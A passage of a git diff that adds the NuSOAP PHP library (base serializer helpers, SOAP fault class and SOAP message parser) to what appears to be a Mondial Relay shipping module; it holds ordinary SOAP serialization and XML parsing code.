++$i; + } + if(count($array_types) > 1){ + $array_typename = 'xsd:anyType'; + } elseif(isset($tt) && isset($this->typemap[$this->XMLSchemaVersion][$tt])) { + if ($tt == 'integer') { + $tt = 'int'; + } + $array_typename = 'xsd:'.$tt; + } elseif(isset($tt) && $tt == 'arraySimple'){ + $array_typename = 'SOAP-ENC:Array'; + } elseif(isset($tt) && $tt == 'arrayStruct'){ + $array_typename = 'unnamed_struct_use_soapval'; + } else { + // if type is prefixed, create type prefix + if ($tt_ns != '' && $tt_ns == $this->namespaces['xsd']){ + $array_typename = 'xsd:' . $tt; + } elseif ($tt_ns) { + $tt_prefix = 'ns' . rand(1000, 9999); + $array_typename = "$tt_prefix:$tt"; + $xmlns .= " xmlns:$tt_prefix=\"$tt_ns\""; + } else { + $array_typename = $tt; + } + } + $array_type = $i; + if ($use == 'literal') { + $type_str = ''; + } else if (isset($type) && isset($type_prefix)) { + $type_str = " xsi:type=\"$type_prefix:$type\""; + } else { + $type_str = " xsi:type=\"SOAP-ENC:Array\" SOAP-ENC:arrayType=\"".$array_typename."[$array_type]\""; + } + // empty array + } else { + if ($use == 'literal') { + $type_str = ''; + } else if (isset($type) && isset($type_prefix)) { + $type_str = " xsi:type=\"$type_prefix:$type\""; + } else { + $type_str = " xsi:type=\"SOAP-ENC:Array\" SOAP-ENC:arrayType=\"xsd:anyType[0]\""; + } + } + // TODO: for array in literal, there is no wrapper here + $xml = "<$name$xmlns$type_str$atts>".$xml.""; + } else { + // got a struct + $this->debug("serialize_val: serialize struct"); + if(isset($type) && isset($type_prefix)){ + $type_str = " xsi:type=\"$type_prefix:$type\""; + } else { + $type_str = ''; + } + if ($use == 'literal') { + $xml .= "<$name$xmlns$atts>"; + } else { + $xml .= "<$name$xmlns$type_str$atts>"; + } + foreach($val as $k => $v){ + // Apache Map + if ($type == 'Map' && $type_ns == 'http://xml.apache.org/xml-soap') { + $xml .= ''; + $xml .= $this->serialize_val($k,'key',false,false,false,false,$use); + $xml .= $this->serialize_val($v,'value',false,false,false,false,$use); + $xml .= ''; + } else { + $xml .= $this->serialize_val($v,$k,false,false,false,false,$use); + } + } + $xml .= ""; + } + break; + default: + $this->debug("serialize_val: serialize unknown"); + $xml .= 'not detected, got '.gettype($val).' for '.$val; + break; + } + $this->debug("serialize_val returning $xml"); + return $xml; + } + + /** + * serializes a message + * + * @param string $body the XML of the SOAP body + * @param mixed $headers optional string of XML with SOAP header content, or array of soapval objects for SOAP headers, or associative array + * @param array $namespaces optional the namespaces used in generating the body and headers + * @param string $style optional (rpc|document) + * @param string $use optional (encoded|literal) + * @param string $encodingStyle optional (usually 'http://schemas.xmlsoap.org/soap/encoding/' for encoded) + * @return string the message + * @access public + */ + function serializeEnvelope($body,$headers=false,$namespaces=array(),$style='rpc',$use='encoded',$encodingStyle='http://schemas.xmlsoap.org/soap/encoding/'){ + // TODO: add an option to automatically run utf8_encode on $body and $headers + // if $this->soap_defencoding is UTF-8. Not doing this automatically allows + // one to send arbitrary UTF-8 characters, not just characters that map to ISO-8859-1 + + $this->debug("In serializeEnvelope length=" . strlen($body) . " body (max 1000 characters)=" . substr($body, 0, 1000) . " style=$style use=$use encodingStyle=$encodingStyle"); + $this->debug("headers:"); + $this->appendDebug($this->varDump($headers)); + $this->debug("namespaces:"); + $this->appendDebug($this->varDump($namespaces)); + + // serialize namespaces + $ns_string = ''; + foreach(array_merge($this->namespaces,$namespaces) as $k => $v){ + $ns_string .= " xmlns:$k=\"$v\""; + } + if($encodingStyle) { + $ns_string = " SOAP-ENV:encodingStyle=\"$encodingStyle\"$ns_string"; + } + + // serialize headers + if($headers){ + if (is_array($headers)) { + $xml = ''; + foreach ($headers as $k => $v) { + if (is_object($v) && get_class($v) == 'soapval') { + $xml .= $this->serialize_val($v, false, false, false, false, false, $use); + } else { + $xml .= $this->serialize_val($v, $k, false, false, false, false, $use); + } + } + $headers = $xml; + $this->debug("In serializeEnvelope, serialized array of headers to $headers"); + } + $headers = "".$headers.""; + } + // serialize envelope + return + 'soap_defencoding .'"?'.">". + '". + $headers. + "". + $body. + "". + ""; + } + + /** + * formats a string to be inserted into an HTML stream + * + * @param string $str The string to format + * @return string The formatted string + * @access public + * @deprecated + */ + function formatDump($str){ + $str = htmlspecialchars($str); + return nl2br($str); + } + + /** + * contracts (changes namespace to prefix) a qualified name + * + * @param string $qname qname + * @return string contracted qname + * @access private + */ + function contractQname($qname){ + // get element namespace + //$this->xdebug("Contract $qname"); + if (strrpos($qname, ':')) { + // get unqualified name + $name = substr($qname, strrpos($qname, ':') + 1); + // get ns + $ns = substr($qname, 0, strrpos($qname, ':')); + $p = $this->getPrefixFromNamespace($ns); + if ($p) { + return $p . ':' . $name; + } + return $qname; + } else { + return $qname; + } + } + + /** + * expands (changes prefix to namespace) a qualified name + * + * @param string $qname qname + * @return string expanded qname + * @access private + */ + function expandQname($qname){ + // get element prefix + if(strpos($qname,':') && !preg_match('/^http:\/\//',$qname)){ + // get unqualified name + $name = substr(strstr($qname,':'),1); + // get ns prefix + $prefix = substr($qname,0,strpos($qname,':')); + if(isset($this->namespaces[$prefix])){ + return $this->namespaces[$prefix].':'.$name; + } else { + return $qname; + } + } else { + return $qname; + } + } + + /** + * returns the local part of a prefixed string + * returns the original string, if not prefixed + * + * @param string $str The prefixed string + * @return string The local part + * @access public + */ + function getLocalPart($str){ + if($sstr = strrchr($str,':')){ + // get unqualified name + return substr( $sstr, 1 ); + } else { + return $str; + } + } + + /** + * returns the prefix part of a prefixed string + * returns false, if not prefixed + * + * @param string $str The prefixed string + * @return mixed The prefix or false if there is no prefix + * @access public + */ + function getPrefix($str){ + if($pos = strrpos($str,':')){ + // get prefix + return substr($str,0,$pos); + } + return false; + } + + /** + * pass it a prefix, it returns a namespace + * + * @param string $prefix The prefix + * @return mixed The namespace, false if no namespace has the specified prefix + * @access public + */ + function getNamespaceFromPrefix($prefix){ + if (isset($this->namespaces[$prefix])) { + return $this->namespaces[$prefix]; + } + //$this->setError("No namespace registered for prefix '$prefix'"); + return false; + } + + /** + * returns the prefix for a given namespace (or prefix) + * or false if no prefixes registered for the given namespace + * + * @param string $ns The namespace + * @return mixed The prefix, false if the namespace has no prefixes + * @access public + */ + function getPrefixFromNamespace($ns) { + foreach ($this->namespaces as $p => $n) { + if ($ns == $n || $ns == $p) { + $this->usedNamespaces[$p] = $n; + return $p; + } + } + return false; + } + + /** + * returns the time in ODBC canonical form with microseconds + * + * @return string The time in ODBC canonical form with microseconds + * @access public + */ + function getmicrotime() { + if (function_exists('gettimeofday')) { + $tod = gettimeofday(); + $sec = $tod['sec']; + $usec = $tod['usec']; + } else { + $sec = time(); + $usec = 0; + } + return strftime('%Y-%m-%d %H:%M:%S', $sec) . '.' . sprintf('%06d', $usec); + } + + /** + * Returns a string with the output of var_dump + * + * @param mixed $data The variable to var_dump + * @return string The output of var_dump + * @access public + */ + function varDump($data) { + ob_start(); + var_dump($data); + $ret_val = ob_get_contents(); + ob_end_clean(); + return $ret_val; + } + + /** + * represents the object as a string + * + * @return string + * @access public + */ + function __toString() { + return $this->varDump($this); + } +} + +// XML Schema Datatype Helper Functions + +//xsd:dateTime helpers + +/** +* convert unix timestamp to ISO 8601 compliant date string +* +* @param int $timestamp Unix time stamp +* @param boolean $utc Whether the time stamp is UTC or local +* @return mixed ISO 8601 date string or false +* @access public +*/ +function timestamp_to_iso8601($timestamp,$utc=true){ + $datestr = date('Y-m-d\TH:i:sO',$timestamp); + $pos = strrpos($datestr, "+"); + if ($pos === FALSE) { + $pos = strrpos($datestr, "-"); + } + if ($pos !== FALSE) { + if (strlen($datestr) == $pos + 5) { + $datestr = substr($datestr, 0, $pos + 3) . ':' . substr($datestr, -2); + } + } + if($utc){ + $pattern = '/'. + '([0-9]{4})-'. // centuries & years CCYY- + '([0-9]{2})-'. // months MM- + '([0-9]{2})'. // days DD + 'T'. // separator T + '([0-9]{2}):'. // hours hh: + '([0-9]{2}):'. // minutes mm: + '([0-9]{2})(\.[0-9]*)?'. // seconds ss.ss... + '(Z|[+\-][0-9]{2}:?[0-9]{2})?'. // Z to indicate UTC, -/+HH:MM:SS.SS... for local tz's + '/'; + + if(preg_match($pattern,$datestr,$regs)){ + return sprintf('%04d-%02d-%02dT%02d:%02d:%02dZ',$regs[1],$regs[2],$regs[3],$regs[4],$regs[5],$regs[6]); + } + return false; + } else { + return $datestr; + } +} + +/** +* convert ISO 8601 compliant date string to unix timestamp +* +* @param string $datestr ISO 8601 compliant date string +* @return mixed Unix timestamp (int) or false +* @access public +*/ +function iso8601_to_timestamp($datestr){ + $pattern = '/'. + '([0-9]{4})-'. // centuries & years CCYY- + '([0-9]{2})-'. // months MM- + '([0-9]{2})'. // days DD + 'T'. // separator T + '([0-9]{2}):'. // hours hh: + '([0-9]{2}):'. // minutes mm: + '([0-9]{2})(\.[0-9]+)?'. // seconds ss.ss... + '(Z|[+\-][0-9]{2}:?[0-9]{2})?'. // Z to indicate UTC, -/+HH:MM:SS.SS... for local tz's + '/'; + if(preg_match($pattern,$datestr,$regs)){ + // not utc + if($regs[8] != 'Z'){ + $op = substr($regs[8],0,1); + $h = substr($regs[8],1,2); + $m = substr($regs[8],strlen($regs[8])-2,2); + if($op == '-'){ + $regs[4] = $regs[4] + $h; + $regs[5] = $regs[5] + $m; + } elseif($op == '+'){ + $regs[4] = $regs[4] - $h; + $regs[5] = $regs[5] - $m; + } + } + return gmmktime($regs[4], $regs[5], $regs[6], $regs[2], $regs[3], $regs[1]); +// return strtotime("$regs[1]-$regs[2]-$regs[3] $regs[4]:$regs[5]:$regs[6]Z"); + } else { + return false; + } +} + +/** +* sleeps some number of microseconds +* +* @param string $usec the number of microseconds to sleep +* @access public +* @deprecated +*/ +function usleepWindows($usec) +{ + $start = gettimeofday(); + + do + { + $stop = gettimeofday(); + $timePassed = 1000000 * ($stop['sec'] - $start['sec']) + + $stop['usec'] - $start['usec']; + } + while ($timePassed < $usec); +} + + diff --git a/modules/mondialrelay/lib/nusoap/class.soap_fault.php b/modules/mondialrelay/lib/nusoap/class.soap_fault.php new file mode 100755 index 0000000..f9bf8d1 --- /dev/null +++ b/modules/mondialrelay/lib/nusoap/class.soap_fault.php @@ -0,0 +1,89 @@ + +* @version $Id$ +* @access public +*/ +class nusoap_fault extends nusoap_base { + /** + * The fault code (client|server) + * @var string + * @access private + */ + var $faultcode; + /** + * The fault actor + * @var string + * @access private + */ + var $faultactor; + /** + * The fault string, a description of the fault + * @var string + * @access private + */ + var $faultstring; + /** + * The fault detail, typically a string or array of string + * @var mixed + * @access private + */ + var $faultdetail; + + /** + * constructor + * + * @param string $faultcode (SOAP-ENV:Client | SOAP-ENV:Server) + * @param string $faultactor only used when msg routed between multiple actors + * @param string $faultstring human readable error message + * @param mixed $faultdetail detail, typically a string or array of string + */ + function nusoap_fault($faultcode,$faultactor='',$faultstring='',$faultdetail=''){ + parent::nusoap_base(); + $this->faultcode = $faultcode; + $this->faultactor = $faultactor; + $this->faultstring = $faultstring; + $this->faultdetail = $faultdetail; + } + + /** + * serialize a fault + * + * @return string The serialization of the fault instance. + * @access public + */ + function serialize(){ + $ns_string = ''; + foreach($this->namespaces as $k => $v){ + $ns_string .= "\n xmlns:$k=\"$v\""; + } + $return_msg = + 'soap_defencoding.'"?>'. + '\n". + ''. + ''. + $this->serialize_val($this->faultcode, 'faultcode'). + $this->serialize_val($this->faultactor, 'faultactor'). + $this->serialize_val($this->faultstring, 'faultstring'). + $this->serialize_val($this->faultdetail, 'detail'). + ''. + ''. + ''; + return $return_msg; + } +} + +/** + * Backward compatibility + */ +class soap_fault extends nusoap_fault { +} + + diff --git a/modules/mondialrelay/lib/nusoap/class.soap_parser.php b/modules/mondialrelay/lib/nusoap/class.soap_parser.php new file mode 100755 index 0000000..e84330b --- /dev/null +++ b/modules/mondialrelay/lib/nusoap/class.soap_parser.php @@ -0,0 +1,642 @@ + +* @author Scott Nichol +* @version $Id$ +* @access public +*/ +class nusoap_parser extends nusoap_base { + + var $xml = ''; + var $xml_encoding = ''; + var $method = ''; + var $root_struct = ''; + var $root_struct_name = ''; + var $root_struct_namespace = ''; + var $root_header = ''; + var $document = ''; // incoming SOAP body (text) + // determines where in the message we are (envelope,header,body,method) + var $status = ''; + var $position = 0; + var $depth = 0; + var $default_namespace = ''; + var $namespaces = array(); + var $message = array(); + var $parent = ''; + var $fault = false; + var $fault_code = ''; + var $fault_str = ''; + var $fault_detail = ''; + var $depth_array = array(); + var $debug_flag = true; + var $soapresponse = NULL; // parsed SOAP Body + var $soapheader = NULL; // parsed SOAP Header + var $responseHeaders = ''; // incoming SOAP headers (text) + var $body_position = 0; + // for multiref parsing: + // array of id => pos + var $ids = array(); + // array of id => hrefs => pos + var $multirefs = array(); + // toggle for auto-decoding element content + var $decode_utf8 = true; + + /** + * constructor that actually does the parsing + * + * @param string $xml SOAP message + * @param string $encoding character encoding scheme of message + * @param string $method method for which XML is parsed (unused?) + * @param string $decode_utf8 whether to decode UTF-8 to ISO-8859-1 + * @access public + */ + function nusoap_parser($xml,$encoding='UTF-8',$method='',$decode_utf8=true){ + parent::nusoap_base(); + $this->xml = $xml; + $this->xml_encoding = $encoding; + $this->method = $method; + $this->decode_utf8 = $decode_utf8; + + // Check whether content has been read. + if(!empty($xml)){ + // Check XML encoding + $pos_xml = strpos($xml, '', $pos_xml + 2) - $pos_xml + 1); + if (preg_match("/encoding=[\"']([^\"']*)[\"']/", $xml_decl, $res)) { + $xml_encoding = $res[1]; + if (strtoupper($xml_encoding) != $encoding) { + $err = "Charset from HTTP Content-Type '" . $encoding . "' does not match encoding from XML declaration '" . $xml_encoding . "'"; + $this->debug($err); + if ($encoding != 'ISO-8859-1' || strtoupper($xml_encoding) != 'UTF-8') { + $this->setError($err); + return; + } + // when HTTP says ISO-8859-1 (the default) and XML says UTF-8 (the typical), assume the other endpoint is just sloppy and proceed + } else { + $this->debug('Charset from HTTP Content-Type matches encoding from XML declaration'); + } + } else { + $this->debug('No encoding specified in XML declaration'); + } + } else { + $this->debug('No XML declaration'); + } + $this->debug('Entering nusoap_parser(), length='.strlen($xml).', encoding='.$encoding); + // Create an XML parser - why not xml_parser_create_ns? + $this->parser = xml_parser_create($this->xml_encoding); + // Set the options for parsing the XML data. + //xml_parser_set_option($parser, XML_OPTION_SKIP_WHITE, 1); + xml_parser_set_option($this->parser, XML_OPTION_CASE_FOLDING, 0); + xml_parser_set_option($this->parser, XML_OPTION_TARGET_ENCODING, $this->xml_encoding); + // Set the object for the parser. + xml_set_object($this->parser, $this); + // Set the element handlers for the parser. + xml_set_element_handler($this->parser, 'start_element','end_element'); + xml_set_character_data_handler($this->parser,'character_data'); + + // Parse the XML file. + if(!xml_parse($this->parser,$xml,true)){ + // Display an error message. + $err = sprintf('XML error parsing SOAP payload on line %d: %s', + xml_get_current_line_number($this->parser), + xml_error_string(xml_get_error_code($this->parser))); + $this->debug($err); + $this->debug("XML payload:\n" . $xml); + $this->setError($err); + } else { + $this->debug('in nusoap_parser ctor, message:'); + $this->appendDebug($this->varDump($this->message)); + $this->debug('parsed successfully, found root struct: '.$this->root_struct.' of name '.$this->root_struct_name); + // get final value + $this->soapresponse = $this->message[$this->root_struct]['result']; + // get header value + if($this->root_header != '' && isset($this->message[$this->root_header]['result'])){ + $this->soapheader = $this->message[$this->root_header]['result']; + } + // resolve hrefs/ids + if(sizeof($this->multirefs) > 0){ + foreach($this->multirefs as $id => $hrefs){ + $this->debug('resolving multirefs for id: '.$id); + $idVal = $this->buildVal($this->ids[$id]); + if (is_array($idVal) && isset($idVal['!id'])) { + unset($idVal['!id']); + } + foreach($hrefs as $refPos => $ref){ + $this->debug('resolving href at pos '.$refPos); + $this->multirefs[$id][$refPos] = $idVal; + } + } + } + } + xml_parser_free($this->parser); + } else { + $this->debug('xml was empty, didn\'t parse!'); + $this->setError('xml was empty, didn\'t parse!'); + } + } + + /** + * start-element handler + * + * @param resource $parser XML parser object + * @param string $name element name + * @param array $attrs associative array of attributes + * @access private + */ + function start_element($parser, $name, $attrs) { + // position in a total number of elements, starting from 0 + // update class level pos + $pos = $this->position++; + // and set mine + $this->message[$pos] = array('pos' => $pos,'children'=>'','cdata'=>''); + // depth = how many levels removed from root? + // set mine as current global depth and increment global depth value + $this->message[$pos]['depth'] = $this->depth++; + + // else add self as child to whoever the current parent is + if($pos != 0){ + $this->message[$this->parent]['children'] .= '|'.$pos; + } + // set my parent + $this->message[$pos]['parent'] = $this->parent; + // set self as current parent + $this->parent = $pos; + // set self as current value for this depth + $this->depth_array[$this->depth] = $pos; + // get element prefix + if(strpos($name,':')){ + // get ns prefix + $prefix = substr($name,0,strpos($name,':')); + // get unqualified name + $name = substr(strstr($name,':'),1); + } + // set status + if ($name == 'Envelope' && $this->status == '') { + $this->status = 'envelope'; + } elseif ($name == 'Header' && $this->status == 'envelope') { + $this->root_header = $pos; + $this->status = 'header'; + } elseif ($name == 'Body' && $this->status == 'envelope'){ + $this->status = 'body'; + $this->body_position = $pos; + // set method + } elseif($this->status == 'body' && $pos == ($this->body_position+1)) { + $this->status = 'method'; + $this->root_struct_name = $name; + $this->root_struct = $pos; + $this->message[$pos]['type'] = 'struct'; + $this->debug("found root struct $this->root_struct_name, pos $this->root_struct"); + } + // set my status + $this->message[$pos]['status'] = $this->status; + // set name + $this->message[$pos]['name'] = htmlspecialchars($name); + // set attrs + $this->message[$pos]['attrs'] = $attrs; + + // loop through atts, logging ns and type declarations + $attstr = ''; + foreach($attrs as $key => $value){ + $key_prefix = $this->getPrefix($key); + $key_localpart = $this->getLocalPart($key); + // if ns declarations, add to class level array of valid namespaces + if($key_prefix == 'xmlns'){ + if(preg_match('/^http:\/\/www.w3.org\/[0-9]{4}\/XMLSchema$/',$value)){ + $this->XMLSchemaVersion = $value; + $this->namespaces['xsd'] = $this->XMLSchemaVersion; + $this->namespaces['xsi'] = $this->XMLSchemaVersion.'-instance'; + } + $this->namespaces[$key_localpart] = $value; + // set method namespace + if($name == $this->root_struct_name){ + $this->methodNamespace = $value; + } + // if it's a type declaration, set type + } elseif($key_localpart == 'type'){ + if (isset($this->message[$pos]['type']) && $this->message[$pos]['type'] == 'array') { + // do nothing: already processed arrayType + } else { + $value_prefix = $this->getPrefix($value); + $value_localpart = $this->getLocalPart($value); + $this->message[$pos]['type'] = $value_localpart; + $this->message[$pos]['typePrefix'] = $value_prefix; + if(isset($this->namespaces[$value_prefix])){ + $this->message[$pos]['type_namespace'] = $this->namespaces[$value_prefix]; + } else if(isset($attrs['xmlns:'.$value_prefix])) { + $this->message[$pos]['type_namespace'] = $attrs['xmlns:'.$value_prefix]; + } + // should do something here with the namespace of specified type? + } + } elseif($key_localpart == 'arrayType'){ + $this->message[$pos]['type'] = 'array'; + /* do arrayType ereg here + [1] arrayTypeValue ::= atype asize + [2] atype ::= QName rank* + [3] rank ::= '[' (',')* ']' + [4] asize ::= '[' length~ ']' + [5] length ::= nextDimension* Digit+ + [6] nextDimension ::= Digit+ ',' + */ + $expr = '/([A-Za-z0-9_]+):([A-Za-z]+[A-Za-z0-9_]+)\[([0-9]+),?([0-9]*)\]/'; + if(preg_match($expr,$value,$regs)){ + $this->message[$pos]['typePrefix'] = $regs[1]; + $this->message[$pos]['arrayTypePrefix'] = $regs[1]; + if (isset($this->namespaces[$regs[1]])) { + $this->message[$pos]['arrayTypeNamespace'] = $this->namespaces[$regs[1]]; + } else if (isset($attrs['xmlns:'.$regs[1]])) { + $this->message[$pos]['arrayTypeNamespace'] = $attrs['xmlns:'.$regs[1]]; + } + $this->message[$pos]['arrayType'] = $regs[2]; + $this->message[$pos]['arraySize'] = $regs[3]; + $this->message[$pos]['arrayCols'] = $regs[4]; + } + // specifies nil value (or not) + } elseif ($key_localpart == 'nil'){ + $this->message[$pos]['nil'] = ($value == 'true' || $value == '1'); + // some other attribute + } elseif ($key != 'href' && $key != 'xmlns' && $key_localpart != 'encodingStyle' && $key_localpart != 'root') { + $this->message[$pos]['xattrs']['!' . $key] = $value; + } + + if ($key == 'xmlns') { + $this->default_namespace = $value; + } + // log id + if($key == 'id'){ + $this->ids[$value] = $pos; + } + // root + if($key_localpart == 'root' && $value == 1){ + $this->status = 'method'; + $this->root_struct_name = $name; + $this->root_struct = $pos; + $this->debug("found root struct $this->root_struct_name, pos $pos"); + } + // for doclit + $attstr .= " $key=\"$value\""; + } + // get namespace - must be done after namespace atts are processed + if(isset($prefix)){ + $this->message[$pos]['namespace'] = $this->namespaces[$prefix]; + $this->default_namespace = $this->namespaces[$prefix]; + } else { + $this->message[$pos]['namespace'] = $this->default_namespace; + } + if($this->status == 'header'){ + if ($this->root_header != $pos) { + $this->responseHeaders .= "<" . (isset($prefix) ? $prefix . ':' : '') . "$name$attstr>"; + } + } elseif($this->root_struct_name != ''){ + $this->document .= "<" . (isset($prefix) ? $prefix . ':' : '') . "$name$attstr>"; + } + } + + /** + * end-element handler + * + * @param resource $parser XML parser object + * @param string $name element name + * @access private + */ + function end_element($parser, $name) { + // position of current element is equal to the last value left in depth_array for my depth + $pos = $this->depth_array[$this->depth--]; + + // get element prefix + if(strpos($name,':')){ + // get ns prefix + $prefix = substr($name,0,strpos($name,':')); + // get unqualified name + $name = substr(strstr($name,':'),1); + } + + // build to native type + if(isset($this->body_position) && $pos > $this->body_position){ + // deal w/ multirefs + if(isset($this->message[$pos]['attrs']['href'])){ + // get id + $id = substr($this->message[$pos]['attrs']['href'],1); + // add placeholder to href array + $this->multirefs[$id][$pos] = 'placeholder'; + // add set a reference to it as the result value + $this->message[$pos]['result'] =& $this->multirefs[$id][$pos]; + // build complexType values + } elseif($this->message[$pos]['children'] != ''){ + // if result has already been generated (struct/array) + if(!isset($this->message[$pos]['result'])){ + $this->message[$pos]['result'] = $this->buildVal($pos); + } + // build complexType values of attributes and possibly simpleContent + } elseif (isset($this->message[$pos]['xattrs'])) { + if (isset($this->message[$pos]['nil']) && $this->message[$pos]['nil']) { + $this->message[$pos]['xattrs']['!'] = null; + } elseif (isset($this->message[$pos]['cdata']) && trim($this->message[$pos]['cdata']) != '') { + if (isset($this->message[$pos]['type'])) { + $this->message[$pos]['xattrs']['!'] = $this->decodeSimple($this->message[$pos]['cdata'], $this->message[$pos]['type'], isset($this->message[$pos]['type_namespace']) ? $this->message[$pos]['type_namespace'] : ''); + } else { + $parent = $this->message[$pos]['parent']; + if (isset($this->message[$parent]['type']) && ($this->message[$parent]['type'] == 'array') && isset($this->message[$parent]['arrayType'])) { + $this->message[$pos]['xattrs']['!'] = $this->decodeSimple($this->message[$pos]['cdata'], $this->message[$parent]['arrayType'], isset($this->message[$parent]['arrayTypeNamespace']) ? $this->message[$parent]['arrayTypeNamespace'] : ''); + } else { + $this->message[$pos]['xattrs']['!'] = $this->message[$pos]['cdata']; + } + } + } + $this->message[$pos]['result'] = $this->message[$pos]['xattrs']; + // set value of simpleType (or nil complexType) + } else { + //$this->debug('adding data for scalar value '.$this->message[$pos]['name'].' of value '.$this->message[$pos]['cdata']); + if (isset($this->message[$pos]['nil']) && $this->message[$pos]['nil']) { + $this->message[$pos]['xattrs']['!'] = null; + } elseif (isset($this->message[$pos]['type'])) { + $this->message[$pos]['result'] = $this->decodeSimple($this->message[$pos]['cdata'], $this->message[$pos]['type'], isset($this->message[$pos]['type_namespace']) ? $this->message[$pos]['type_namespace'] : ''); + } else { + $parent = $this->message[$pos]['parent']; + if (isset($this->message[$parent]['type']) && ($this->message[$parent]['type'] == 'array') && isset($this->message[$parent]['arrayType'])) { + $this->message[$pos]['result'] = $this->decodeSimple($this->message[$pos]['cdata'], $this->message[$parent]['arrayType'], isset($this->message[$parent]['arrayTypeNamespace']) ? $this->message[$parent]['arrayTypeNamespace'] : ''); + } else { + $this->message[$pos]['result'] = $this->message[$pos]['cdata']; + } + } + + /* add value to parent's result, if parent is struct/array + $parent = $this->message[$pos]['parent']; + if($this->message[$parent]['type'] != 'map'){ + if(strtolower($this->message[$parent]['type']) == 'array'){ + $this->message[$parent]['result'][] = $this->message[$pos]['result']; + } else { + $this->message[$parent]['result'][$this->message[$pos]['name']] = $this->message[$pos]['result']; + } + } + */ + } + } + + // for doclit + if($this->status == 'header'){ + if ($this->root_header != $pos) { + $this->responseHeaders .= ""; + } + } elseif($pos >= $this->root_struct){ + $this->document .= ""; + } + // switch status + if ($pos == $this->root_struct){ + $this->status = 'body'; + $this->root_struct_namespace = $this->message[$pos]['namespace']; + } elseif ($pos == $this->root_header) { + $this->status = 'envelope'; + } elseif ($name == 'Body' && $this->status == 'body') { + $this->status = 'envelope'; + } elseif ($name == 'Header' && $this->status == 'header') { // will never happen + $this->status = 'envelope'; + } elseif ($name == 'Envelope' && $this->status == 'envelope') { + $this->status = ''; + } + // set parent back to my parent + $this->parent = $this->message[$pos]['parent']; + } + + /** + * element content handler + * + * @param resource $parser XML parser object + * @param string $data element content + * @access private + */ + function character_data($parser, $data){ + $pos = $this->depth_array[$this->depth]; + if ($this->xml_encoding=='UTF-8'){ + // TODO: add an option to disable this for folks who want + // raw UTF-8 that, e.g., might not map to iso-8859-1 + // TODO: this can also be handled with xml_parser_set_option($this->parser, XML_OPTION_TARGET_ENCODING, "ISO-8859-1"); + if($this->decode_utf8){ + $data = utf8_decode($data); + } + } + $this->message[$pos]['cdata'] .= $data; + // for doclit + if($this->status == 'header'){ + $this->responseHeaders .= $data; + } else { + $this->document .= $data; + } + } + + /** + * get the parsed message (SOAP Body) + * + * @return mixed + * @access public + * @deprecated use get_soapbody instead + */ + function get_response(){ + return $this->soapresponse; + } + + /** + * get the parsed SOAP Body (NULL if there was none) + * + * @return mixed + * @access public + */ + function get_soapbody(){ + return $this->soapresponse; + } + + /** + * get the parsed SOAP Header (NULL if there was none) + * + * @return mixed + * @access public + */ + function get_soapheader(){ + return $this->soapheader; + } + + /** + * get the unparsed SOAP Header + * + * @return string XML or empty if no Header + * @access public + */ + function getHeaders(){ + return $this->responseHeaders; + } + + /** + * decodes simple types into PHP variables + * + * @param string $value value to decode + * @param string $type XML type to decode + * @param string $typens XML type namespace to decode + * @return mixed PHP value + * @access private + */ + function decodeSimple($value, $type, $typens) { + // TODO: use the namespace! + if ((!isset($type)) || $type == 'string' || $type == 'long' || $type == 'unsignedLong') { + return (string) $value; + } + if ($type == 'int' || $type == 'integer' || $type == 'short' || $type == 'byte') { + return (int) $value; + } + if ($type == 'float' || $type == 'double' || $type == 'decimal') { + return (double) $value; + } + if ($type == 'boolean') { + if (strtolower($value) == 'false' || strtolower($value) == 'f') { + return false; + } + return (boolean) $value; + } + if ($type == 'base64' || $type == 'base64Binary') { + $this->debug('Decode base64 value'); + return base64_decode($value); + } + // obscure numeric types + if ($type == 'nonPositiveInteger' || $type == 'negativeInteger' + || $type == 'nonNegativeInteger' || $type == 'positiveInteger' + || $type == 'unsignedInt' + || $type == 'unsignedShort' || $type == 'unsignedByte') { + return (int) $value; + } + // bogus: parser treats array with no elements as a simple type + if ($type == 'array') { + return array(); + } + // everything else + return (string) $value; + } + + /** + * builds response structures for compound values (arrays/structs) + * and scalars + * + * @param integer $pos position in node tree + * @return mixed PHP value + * @access private + */ + function buildVal($pos){ + if(!isset($this->message[$pos]['type'])){ + $this->message[$pos]['type'] = ''; + } + $this->debug('in buildVal() for '.$this->message[$pos]['name']."(pos $pos) of type ".$this->message[$pos]['type']); + // if there are children... + if($this->message[$pos]['children'] != ''){ + $this->debug('in buildVal, there are children'); + $children = explode('|',$this->message[$pos]['children']); + array_shift($children); // knock off empty + // md array + if(isset($this->message[$pos]['arrayCols']) && $this->message[$pos]['arrayCols'] != ''){ + $r=0; // rowcount + $c=0; // colcount + foreach($children as $child_pos){ + $this->debug("in buildVal, got an MD array element: $r, $c"); + $params[$r][] = $this->message[$child_pos]['result']; + $c++; + if($c == $this->message[$pos]['arrayCols']){ + $c = 0; + $r++; + } + } + // array + } elseif($this->message[$pos]['type'] == 'array' || $this->message[$pos]['type'] == 'Array'){ + $this->debug('in buildVal, adding array '.$this->message[$pos]['name']); + foreach($children as $child_pos){ + $params[] = &$this->message[$child_pos]['result']; + } + // apache Map type: java hashtable + } elseif($this->message[$pos]['type'] == 'Map' && $this->message[$pos]['type_namespace'] == 'http://xml.apache.org/xml-soap'){ + $this->debug('in buildVal, Java Map '.$this->message[$pos]['name']); + foreach($children as $child_pos){ + $kv = explode("|",$this->message[$child_pos]['children']); + $params[$this->message[$kv[1]]['result']] = &$this->message[$kv[2]]['result']; + } + // generic compound type + //} elseif($this->message[$pos]['type'] == 'SOAPStruct' || $this->message[$pos]['type'] == 'struct') { + } else { + // Apache Vector type: treat as an array + $this->debug('in buildVal, adding Java Vector or generic compound type '.$this->message[$pos]['name']); + if ($this->message[$pos]['type'] == 'Vector' && $this->message[$pos]['type_namespace'] == 'http://xml.apache.org/xml-soap') { + $notstruct = 1; + } else { + $notstruct = 0; + } + // + foreach($children as $child_pos){ + if($notstruct){ + $params[] = &$this->message[$child_pos]['result']; + } else { + if (isset($params[$this->message[$child_pos]['name']])) { + // de-serialize repeated element name into an array + if ((!is_array($params[$this->message[$child_pos]['name']])) || (!isset($params[$this->message[$child_pos]['name']][0]))) { + $params[$this->message[$child_pos]['name']] = array($params[$this->message[$child_pos]['name']]); + } + $params[$this->message[$child_pos]['name']][] = &$this->message[$child_pos]['result']; + } else { + $params[$this->message[$child_pos]['name']] = &$this->message[$child_pos]['result']; + } + } + } + } + if (isset($this->message[$pos]['xattrs'])) { + $this->debug('in buildVal, handling attributes'); + foreach ($this->message[$pos]['xattrs'] as $n => $v) { + $params[$n] = $v; + } + } + // handle simpleContent + if (isset($this->message[$pos]['cdata']) && trim($this->message[$pos]['cdata']) != '') { + $this->debug('in buildVal, handling simpleContent'); + 